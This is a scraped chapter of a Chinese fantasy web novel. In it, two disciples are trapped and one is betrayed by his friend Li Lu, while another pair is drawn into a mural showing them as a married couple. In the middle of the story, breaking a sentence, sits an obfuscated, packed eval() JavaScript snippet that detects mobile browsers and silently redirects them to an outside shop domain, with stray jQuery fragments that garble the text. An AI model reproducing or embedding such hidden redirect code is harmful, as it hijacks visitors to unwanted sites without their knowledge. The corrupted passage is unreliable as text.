坤染这边已经不是简单的棘手,在漫天泥沙中,他只是抬手挡了一下脸,往后挪动几步,脚下的石板却突然打开,脚下踩空,整个人猝不及防间摔下去。
自身处境万分危险的情况下,他仍兢兢业业拽住云争,两人因此一块掉进一个机关中。坤染慌乱惊恐间掉进一个网中,那网子不知是何原理,他越挣扎收得越紧。
刚刚那一阵妖风混着泥沙直往他眼里钻,现在他眼中有不少细小的砂砾,眼珠的细微转动便会产生十足的磨砂感,又涩又疼;不转也止不住的流泪,难受极了,根本不敢睁开眼,只能静等疼痛感散去。
即便他现在处境不佳,但也没松开云争的手,使了大力攥的牢牢的。
由于睁不开眼,他现在不能观察周围的场景,所以异常愤怒,嘴上更是骂骂咧咧:“你们这小破地方,邪门的很,又是妖风又是陷阱,以后谁还敢来?”
“呸,呸呸呸!”坤染张口没说几个字,停留在他脸上和嘴唇上的泥沙,随着面部表情狰狞尽数落入坤染嘴中。
他顿时暴跳如雷,咬牙切齿地开骂:“真不要脸,有本事出来和爷爷单挑,尽在背后搞阴招小动作,呸!”
伴随怒气值的上升,坤染手中动作越发用力,攥的云争手腕疼痛难忍,再不阻止云争觉得他的手就废了。
坤染紧闭双眼,眉头狠狠拧成一团,青筋在额头乍起,随时能暴跳如雷的模样。
云争连忙出声:“先别气,咱俩都被网住了,你先松开我。”
坤染本就气的脖子涨红,听见云争说话,也顾不得眼睛不舒服。
立刻睁开眼,怒目瞪着云争,眼里泛着凌人的寒意,咬着后槽牙骂道:“想得美,老子松开,你不就跑了。”
本就满腔怒火无处发泄,坤染把手中的剑扔在一旁,皮笑肉不笑地掐住云争脖子,怒声道:“别搞这些小计俩,快带我出去,不然我马上掐死你。”
语毕,坤染手中的力道越来越重,云争顷刻间被掐的面色涨红,猛烈的窒息感袭来。他伸出手挣扎着想把坤染的手挪开,可坤染的手宛若铁钳般,撼动不了分毫。
云争呼吸变得艰难,声音微弱:“真不是我做的,咳咳……先放开我。”
他的声音越来越微弱,坤染只觉得这人在演戏。
他的力气本就比常人大,云争只是一个药修,加上平日药宗弟子几乎不练其他防身功法,大部分时间都在钻研药理。
可怕的是云争身形本就偏薄,此刻像一个弱小的鹌鹑被坤染握在手中。
“嗷!”坤染突然惨叫一声,松开钳住云争的那只手。
“有种出来和爷爷单挑,偷袭算什么本事!”
他刚才只是想吓唬云争,谁承想还没套出话,有人把一块坚硬的石头砸向他的手腕。
他迅速转身观察四周,整个身子被网套住,如此紧张的氛围中,竟也有些搞笑。
“哈哈哈哈”嘲笑感十足的笑声从黑暗中传来。
讽刺声不加掩饰:“就凭你这样的废物,都不配跟我打。”
坤染气急,大吼:“放屁!”
不知坤染哪里得罪了暗处的人,人没出来,却继续阴阳怪气道:“月鸣出名的废物,除了那一身蛮力和简单的脑子,你还能做什么?”
紧接着,黑暗的空间中传来低低的嗤笑声。
此话一出,坤染倒是冷静几分:“你是谁,这么了解我?”
思索片刻,坤染继续道:“你难道就是云争说的外门弟子?”
那人笑的更是放肆:“哈哈,你还有点脑子。没那么废物。”
未等坤染再说什么,他身旁的云争担心地问:“李路,是你吗?”
他听着声音和李路音色相同,但是不敢相认。
云争心中的李路向来是认真努力不服输的脾气,断不会做这等心狠手辣的勾当。
李路和他一起去投奔的药宗,两人的村子也挨得极近,在药宗互相陪伴很多年。
云争被派到秦水镇来,他知道后就主动请缨赶来协助,几十年的相处,云争难以相信暗处的人是他最好的朋友。
“别自欺欺人了?不是我还有谁?”李路好像在阴暗处待烦了,慢悠悠的走出来。
随着他的出现,这一方空间中布置的烛火尽数亮起,可以说也是美景一桩。
当然,前提是坤染和云争此刻不被束缚在网中。
烛火将他的脸映照的和平时并无二至,还是那副执着认真的表情。只不过他现在做的是与他们当时的初心背道而驰了。
云争满脸不可置信:“你怎么会做出这种事,你不是一向心最善吗?”
他难过伤心都是真情实意,多年过去,云争早已把李路当做家人了。
闻言,李路似是不愿多说,迅速转过身踱步至另一边,在坤染面前走来走去。
未等坤染狂骂,他一拳打到坤染脸上:“以后说话注意点!”
坤染一头雾水,根本不知道李路说的什么意思,满脑子都是:这个人不想活了,做那么多坏事还敢打他。
“呸!”坤染吐了李路一脸,口中还有剩余的泥沙。
瞬间,李路的表情由多云转成暴雨,脸色阴沉地抬腿踢向坤染,续足力量朝坤染的膝盖就是一脚。
坤染被提的失去平衡,“啪”地一声,重重摔在了地上。
坤染什么时候受过这种冤枉气,提起身旁的便刺向李路“心肠歹毒,先拿下你!”
坤染和云争此刻站在光线极强的中心平台上方,烛火随着李路的离开尽数熄灭。他们俩在光亮中,完全看不清周围的暗处有什么。
在坤染的剑还未触及李路时,坤染后方突然出现一个人,出手迅速地用一记手刀重重砍向坤染。
坤染应声倒地,整个空间立刻安静下来。
云争还是不死心,他不相信平时李路的善良是装的,着急道:“李路,你怎么了,可是遇到什么难处了?”
李路闻言,垂在身侧的手捏住衣摆袖口,微微颤抖,指尖泛白。
却装作满不在意,说出的话全是伤人的尖刺:“跟你相处不过是虚与委蛇,我早就恶心了。”
尽管得到的回答异常伤人,云争还是一片赤城:“怎么会?”
本来李路已经准备走开,听到云争脱口而出的信任。
他终究还是调转了方向,稳了稳情绪,居高临下地看着颓坐在地上的云争,讥讽道:“我们一起做的那些善事,所有,想想都会令人作呕。”
云争猛地抬头,双眸陡然瞪大,矢口否认道:“不可能,绝对不可能!”
李路对他的崩溃恍若未闻,嗓音淡淡:“桩桩件件不过都是在陪你演戏罢了,也只有像你这样蠢的人才会当真。”
语毕,转身离开,毫无留念。
与此同时,另一个机关中,华仪和景礼遇到的情景更为恐怖。
漫天黄图裹挟着沙石吹过时,华仪反应迅速地捂住口鼻,微微眯着眼逆风而上,她找到了狂风的阵眼。
华仪正欲打散阵眼,后面的景礼不知踩到什么。
一个滑铲把华仪撞倒,还未起身,两人巧合地掉进地底同一个机关中。
华仪骂骂咧咧地整理被狂风吹散的头发,一边拍着身上堆积的泥土黄沙:“你干什么不站好!”
景礼懒懒散散站在她身旁,一幅无所谓的做派:“没站稳咯,还能因为什么?”
听完狠狠剜了景礼一眼:“就差一点,我就能破了那狂风!都怪你!”
景礼仍然是慢条斯理地转了一圈:“是是是,都怪我!”
华仪看到他万事不萦心的松散做派就怒上心头:“各走各的!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585677|205245||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>这边景礼却急了:“别呀,你可得保护我,这么黑的地方我害怕!”
华仪无奈至极地点了个火折子,嫌弃道:“跟上!别拖后腿。”
景礼又乐呵了,笑眯眯道:“那是自然。”
华仪一手举着火折子,一边观察这机关如何安全破解。
出口暂时没找到,却发现了在满墙的壁画。在这小小的一个机关,侧面石壁中竟然画着栩栩如生的彩绘。
华仪不禁感慨:“真是能工巧匠啊,凑近看看,有没有出去的办法。”
她轻轻靠近石壁上的话,想看仔细些,电光火石间,一双手从石壁中伸出来把华仪拽进画中。
景礼一直注意着华仪的动向,眼疾手快想拽回她,没想到两人一起被吸进画中。
他俩误入了画中别人的家,放眼望去,院落富丽堂皇,花团锦簇,杨柳低垂,异香扑鼻,一看就是主人精心打理的。
湖中心有一方小亭子,有两个亲密无间之人站在石桌前低语,华仪着急询问这是哪里,没细看便走向亭中二人。
景礼快速跟上,想拉她回去:“你去打扰人家夫妻干嘛!”
华仪不明就里:“不问清楚咱们怎么出去?”旋即转身往那两人身边走去。
可能是深处陌生的环境过于紧张机警,华仪并未留意到他俩的拉扯争吵好像没有影响到旁人。
行至石桌旁,华仪负手行礼:“打扰二位,敢问此处是何地?”
两人竟像她不存在般,动作没有一丝停滞,继续手中的动作。
“阿礼,这个字又没练好。”那女子说话娇嗔连连,嗓音却格外熟悉。
未等华仪有所动作,那女子不经意间抬头看向远处的院子。
华仪看清女子的长相后,惊的连连后退,差点踩空掉进湖中。
景礼急忙伸手,揽住华仪的腰才堪堪接住她。
华仪颤抖着胳膊指向在亭子中练字的二人:“他他他……你你你……我我我……”
半天惊讶地张了张嘴,没说出连贯的语言。
景礼看着像是不明就里般,温柔问道:“怎么了这是?”
华仪扶住他的脸,把景礼的头转向那二人的方向:“你看!”
这时,那男子恰好抬头,紧紧盯着面前的将漂亮女子,将她散在耳边的碎发轻轻抚于而后,声音温柔似水:“多教你几遍不就好了?”
华仪被眼前画面震撼,不敢置信,惊呼道:“这不会是咱俩吧,这到底是什么鬼地方?”
那女子好像写的极为不耐,画中的景礼温声轻哄:“夫人,练了少说也有半年了,你的书法写成这样,如何教导我们女儿?”
华仪当真是目瞪口呆:“夫人?女儿……还生女儿了?”
只见那女子娇嗔地把笔摔在笔架中,像那男子撒娇:“今日休息一天,好不好嘛。”
那男子面露无奈,不想妥协,但又好似想到什么趣事,为难道:“只许今日偷懒这一次。”
语毕,突然将那女子抱起。
“啊!”画中女子和画外的华仪不约而同地惊呼起来。
景礼忍不住笑话:“抱得又不是你,瞧你高兴的。”
华仪自然不能放过他:“你哪只眼看出来我是高兴了?”
景礼懒散地靠在柱子上,盯着她,淡淡道:“两只哦。”
画中人有新的动作,华仪放过了景礼,继续专心的观察。
那女子似怒似笑,埋怨道:“你干嘛。”
画中的景礼满脸笑意:“夫人,既然不想练字,那便随我回房,把昨晚上欠的那次补给我。”
他们还没走出亭子,华仪便飞快地转身,不敢看了,瓷白的脸上不自然地爬过一抹红晕。
见景礼盯着那二人发呆,华仪甚至好心地把他也转过来,二人一起面湖思过。